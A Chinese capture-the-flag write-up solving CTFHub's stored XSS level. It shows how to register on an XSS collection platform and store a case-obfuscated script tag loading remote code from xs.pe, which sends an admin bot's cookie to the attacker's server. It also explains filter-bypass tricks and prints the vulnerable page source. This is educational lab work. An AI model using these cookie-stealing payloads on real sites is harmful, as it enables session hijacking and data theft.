CTFHub XSS通关2:存储型
目录
一、XSS平台
1、XSS平台简介
(1)主要作用
(2)工作原理
2、XSS平台使用
(1)注册账号
(2)登录账号
(3)创建项目
二、存储型渗透实战
1、XSS注入探测
2、Send URL to Bot
3、XSS平台渗透
(1)输入框1
(2)输入框2
三、源码分析
1、主要功能
2、代码分析
本文详细讲解CTFHub的XSS-存储型关卡的渗透实战。首先详细讲解了XSS平台的使用方法,包括注册账号、创建项目和获取专属XSS载荷。然后通过靶场演示了存储型XSS攻击的完整流程:从探测XSS注入风险、构造恶意载荷、使用XSS平台收集信息,到最终获取管理员Cookie和flag。文章还分析了靶场页面的源代码,指出其存在的安全风险点。整个渗透过程展示了存储型XSS的攻击原理和危害,强调了Web应用中对用户输入进行严格过滤的重要性。其流程与反射型有显著区别,核心在于 “一次注入,多人中招”。具体流程如下所示。
-
埋雷:攻击者在“Change name”处提交窃取Cookie的恶意代码。
-
存储:该代码被永久保存在网站后端数据库里。
-
诱导:攻击者将本页面的正常URL提交给管理员Bot。
-
触发:Bot访问页面,其浏览器从数据库加载并执行了恶意代码。
-
窃取:Bot的Cookie被自动发送到攻击者的服务器。
一、XSS平台
1、XSS平台简介
XSS平台是一种专为跨站脚本攻击(XSS)测试与安全研究设计的Web应用系统。该平台为安全研究人员与白帽子黑客构建了模拟真实攻击场景的环境,用于演示和验证Web应用中存在的XSS安全风险。其核心功能涵盖多种XSS攻击载荷的生成与管理、自动捕获受害者浏览器中的敏感信息(包括Cookie、会话令牌、浏览器指纹等),并支持远程代码执行。平台严格强调合法与授权使用,主要应用于渗透测试、安全教学及安全研究等领域,是Web安全领域中重要的教育与实践工具。
(1)主要作用
- XSS注入验证:当测试者怀疑某个网页存在 XSS 风险时,可将平台生成的 payload 插入到目标页面的输入点(如表单、URL 参数等),若平台接收到触发请求,说明存在XSS风险。
- 信息收集 触发XSS时,可能会泄露用户的 Cookie、会话信息、浏览器数据等,平台可记录这些信息,帮助分析XSS注入危害。
- 攻击演示:用于教学或演示XSS注入原理、利用方式及潜在风险,提高对 XSS 攻击的认知。
(2)工作原理
- 用户在 XSS 平台注册后,会获得专属的 XSS payload(通常包含平台的回调 URL)。
- 将该 payload 注入到存在 XSS风险的目标网站中。
- 当其他用户访问被注入的页面时,浏览器会执行 payload 中的代码,向平台的回调 URL 发送请求(可能携带用户信息)。
- 平台接收并记录请求数据,测试者通过平台查看结果,确认XSS触发情况。
2、XSS平台使用
(1)注册账号
本文以https://xssaq.com/为例,讲解如何在渗透测试场景下使用XSS平台。

(2)登录账号
使用注册的账号登录,如下所示。

登录后效果如下所示,注意左侧菜单栏中的“创建项目”选项,这是我们会用到的功能。

(3)创建项目
点击左侧菜单栏中的“创建项目”,随便起个名字“mooyuan”,点击立即提交,如下所示。

在“我的的项目”点击刚才创建的项目“mooyuan”,再点击右上角的查看配置源码,如下图所示。

此时网页弹框如下所示,我们需要在配置代码中选择自己要使用的脚本,这里我们选择第二个即可,如下所示(特别注意:每个人的payload各不相同)。
<sCRiPt sRC=//xs.pe/YxF></sCrIpT>

二、存储型渗透实战
1、XSS注入探测
打开靶场,在关卡页面中寻找所有可能的用户输入点,在第一个输入框内尝试输入最简单的测试载荷<script>alert("ljn")</script>,并观察页面响应。其中<script>标签用于定义客户端脚本,alert("ljn")是 JavaScript 代码,作用是弹出一个包含 “ljn” 文字的警告对话框。
<script>alert("ljn")</script>

如下所示浏览器成功弹窗,则确认该处存在XSS风险,此时XSS的链接的URL地址如下所示。
http://challenge-9fb13559462d4c9a.sandbox.ctfhub.com:10800/

2、Send URL to Bot
在CTF中,XSS通常需要管理员触发。将上一步构造好的完整恶意URL提交给平台提供的“模拟管理员”或“机器人”进行访问,即复制上一步村出现XSS攻击的URL到send URL to Bot对应的地址框中。点击send等价于让bot也执行这个XSS注入攻击如下所示,执行成功,页面返回successfully。

这里我模拟一下执行效果,在本机换个浏览器,执行刚刚的XSS攻击地址,如下所示成功反弹。换言之上一步点击send就相当于让BOT执行我刚刚这个换浏览器访问XSS攻击的链接一样。

3、XSS平台渗透
接下来的目标是构造能窃取Cookie的有效载荷,由于最终目标是获取管理员Cookie,故而我们不能使用弹窗,而是需要将Cookie外带到自己的服务器。这时候我们就需要一个接收并记录Cookie信息的XSS服务器,本部分部分我们使用XSS平台中的收集cookie功能,如下所示。
<sCRiPt sRC=//xs.pe/YxF></sCrIpT>
-
标签选择:没有使用常见的
<script>alert(1)</script>,而是选择了<script src="...">。这指示浏览器从外部源(//xs.pe/YxF)加载并执行JavaScript代码。这样做的好处是载荷非常短,且攻击逻辑可以全部放在外部脚本中,便于维护和更新。 -
大小写混淆:将
script写成了sCRiPt和sCrIpT。这是一种简单的绕过技术,用于规避那些只进行简单大小写匹配(如查找<script)的初级WAF(Web应用防火墙)或输入过滤器。 -
属性简化:
-
sRC而不是src:同样是大小写混淆。 -
属性值没有加引号:
sRC=//xs.pe/YxF而不是src="//xs.pe/YxF"。这在HTML中是允许的,能减少特殊字符,有时也能绕过对引号的检查。
-
-
协议相对URL:使用
//xs.pe/YxF而不是http://xs.pe/YxF或https://xs.pe/YxF。这意味着脚本会使用当前页面相同的协议(HTTP或HTTPS)来加载,兼容性更好,无论挑战页面是HTTP还是HTTPS都能成功加载恶意脚本。
(1)输入框1
输入基于XSS安全平台提供的payload,在第一个输入框输入<sCRiPt sRC=//xs.pe/YxF></sCrIpT>后点击send,此时记录存储型攻击的XSS URL地址。
URL地址为:http://challenge-0acb5f621a90ebb1.sandbox.ctfhub.com:10800/

(2)输入框2
在第二个文本框内输入上一步生成的获取cookie的存储型XSS攻击链接地址,点击send返回successfully。此步骤的目的是将构造好的完整恶意URL(窃取Cookie载荷)提交给平台提供的“模拟管理员”或“机器人”进行访问。一旦管理员浏览器加载此URL,其中的脚本就会自动执行,将其Cookie悄无声息地发送到你在上一步骤中搭建的接收服务器上。

观察XSS平台,如下图红框内容所示说明服务器已获取存储型XSS注入关卡的cookie。

点击查看如下所示,找到管理员的Cookie即可成功获取到flag值。

其详细信息如下所示。
| 记录ID | 630969 |
| 首次触发时间 | 2025-10-28 16:01:48 |
| 最后触发时间 | 2025-10-28 16:01:48 |
| 触发者IP | 1.83.158.188 |
| 页面标题 | CTFHub 技能学习 | XSS Persistent |
| 触发TOP_URL | http://challenge-0acb5f621a90ebb1.sandbox.ctfhub.com:10800/ |
| 触发URL | http://challenge-0acb5f621a90ebb1.sandbox.ctfhub.com:10800/ |
| 浏览器分辨率 | 800*600 |
| referrer | |
| User Agent | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/112.0.5615.138 Safari/537.36 |
| Cookies | flag=ctfhub{7581bb15caedab4395cc2298} |
| localStorage | {} |
| sessionStorage | {} |
三、源码分析
分析本关卡的源代码,这是 CTFHub 中关于存储型 XSS(Persistent XSS)的练习页面。
1、主要功能
-
页面结构:使用 Bootstrap 框架构建,包含标题、表单、输出区域和一个发送 URL 给机器人的功能模块,整体布局简洁,聚焦于 XSS注入测试场景。
-
核心功能区域:
- 名称修改表单:通过 POST 方法提交用户输入的 “name” 参数,提交后会在页面 “Hello, ” 后显示该内容(源码中示例显示为
<script src="//xs.pe/YxF"></script>,推测是之前注入的 XSS 代码)。 - Bot 交互功能:提供输入 URL 并发送给机器人的功能,通过 AJAX 请求将 URL 提交到
/submit接口,机器人访问该 URL 时可能触发存储的 XSS 代码,这是 CTF 中获取 flag 的常见场景(通常机器人会携带 flag 信息访问页面)。
- 名称修改表单:通过 POST 方法提交用户输入的 “name” 参数,提交后会在页面 “Hello, ” 后显示该内容(源码中示例显示为
-
XSS 注入点:页面将用户提交的 “name” 参数直接输出到
<h1>Hello, ...</h1>中,未做有效过滤或编码处理。若输入恶意 JavaScript 代码(如<script>...</script>),会被存储并在页面加载时执行,符合存储型 XSS 的特征。 -
利用方式:用户可注入获取 Cookie 或发送信息到外部服务器的 XSS 代码,当机器人访问包含该代码的页面时,代码被执行,从而窃取机器人携带的敏感信息(如 flag)。
2、代码分析
页面实现了一个存储型XSS注入的完整攻防环境。其核心功能包含三个模块:用户通过"Change name"表单将输入内容(含恶意脚本)存储至服务端;系统在渲染页面时会直接执行数据库中存储的HTML代码;最后通过"Send URL to Bot"功能模拟管理员访问流程,使存储的XSS载荷在管理员会话中触发,从而完成Cookie窃取与权限获取的完整攻击链演示。
<html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>CTFHub 技能学习 | XSS Persistent</title><link rel="stylesheet" href="/static/bootstrap.min.css"><!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries --><!-- WARNING: Respond.js doesn't work if you view the page via file:// --><!--[if lt IE 9]><script src="https://cdn.bootcss.com/html5shiv/3.7.3/html5shiv.min.js"></script><script src="https://cdn.bootcss.com/respond.js/1.4.2/respond.min.js"></script><![endif]--><script src="/static/jquery.min.js"></script><script src="/static/popper.min.js"></script><script src="/static/bootstrap.min.js"></script>
</head><body><div class="container"><div class="jumbotron text-center"><h1>XSS Persistent</h1><hr><!-- Alert --><div id="alert"><div id="success" class="alert alert-success" role="alert" style="display: none;"></div><div id="fail" class="alert alert-danger" role="alert" style="display: none;"></div></div><!-- Body --><div><form action="" method="POST"><div class="input-group mb-3"><div class="input-group-prepend"><span class="input-group-text">Change name</span></div><input type="text" class="form-control" placeholder="CTFHub" id="name" name="name"><div class="input-group-append"><input type="submit" value="Submit" class="btn btn-success"></div></div>
</form>
<!-- Output -->
<hr>
<div><h1>Hello, <script src="//xs.pe/YxF"></script></h1>
</div>
<hr></div><!-- Submit --><div><h2>Send URL to Bot</h2>
<div class="input-group mb-3"><div class="input-group-prepend"><span class="input-group-text">URL</span></div><input type="text" class="form-control" id="url" name="url"><div class="input-group-append"><input type="button" id="Send" value="Send" class="btn btn-success" onclick="send()"></div><script>function send() {let url = $("#url").val()$.ajax({type: "post",url: "/submit",dataType: "json",contentType: "application/json",data: JSON.stringify({url: url}),success: function (d) {if (d.code == -1) {$("#fail").text(d.msg)$("#fail").show();setTimeout(function () {$("#fail").hide();}, 5000);} else if (d.code == 0) {$("#success").text(d.msg)$("#success").show();setTimeout(function () {$("#success").hide();}, 5000);}}});}</script>
</div></div></div></div></body></html>